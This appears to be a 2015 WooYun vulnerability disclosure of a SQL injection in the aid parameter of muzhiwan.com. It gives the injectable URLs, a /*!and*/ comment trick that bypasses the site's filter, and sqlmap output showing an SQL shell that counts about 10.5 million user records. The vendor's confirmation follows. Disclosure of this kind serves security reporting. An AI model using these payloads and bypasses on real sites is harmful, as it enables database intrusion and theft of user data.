当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165669

漏洞标题:拇指玩主站SQL注入涉及千万用户数据

相关厂商:muzhiwan.com

漏洞作者: 路人甲

提交时间:2015-12-29 15:20

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2015-12-29: 厂商已经确认,细节仅向厂商公开
2016-01-08: 细节向核心白帽子及相关领域专家公开
2016-01-18: 细节向普通白帽子公开
2016-01-28: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

拇指玩主站注入,涉及全站用户数据

详细说明:

注入点位于用户中心
http://www.muzhiwan.com/index.php?action=album&opt=getAlbum&aid=4775
aid存在注入,程序有过滤,用/*!and*/1=1这种方式可以绕过
http://www.muzhiwan.com/index.php?action=album&opt=getAlbum&aid=4775/*!and*/1=1 返回正常
http://www.muzhiwan.com/index.php?action=album&opt=getAlbum&aid=4775/*!and*/1=11 返回错误

漏洞证明:

root权限涉及25个库,全站数据都在了,用户表数据达到1051w
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: aid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=album&opt=getAlbum&aid=4775 AND 7781=7781
---
[02:25:27] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:25:27] [INFO] testing MySQL
[02:25:28] [INFO] confirming MySQL
[02:25:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.14
back-end DBMS: MySQL >= 5.0.0
[02:25:28] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from mzw.mzw_users
[02:26:14] [INFO] fetching SQL SELECT statement query output: 'select count(*) from mzw.mzw_users'
[02:26:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:26:14] [INFO] retrieved: 10510556
select count(*) from mzw.mzw_users: '10510556'
sql-shell>

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-29 15:23

厂商回复:

谢谢,我们会抓紧时间修复。

最新状态:

暂无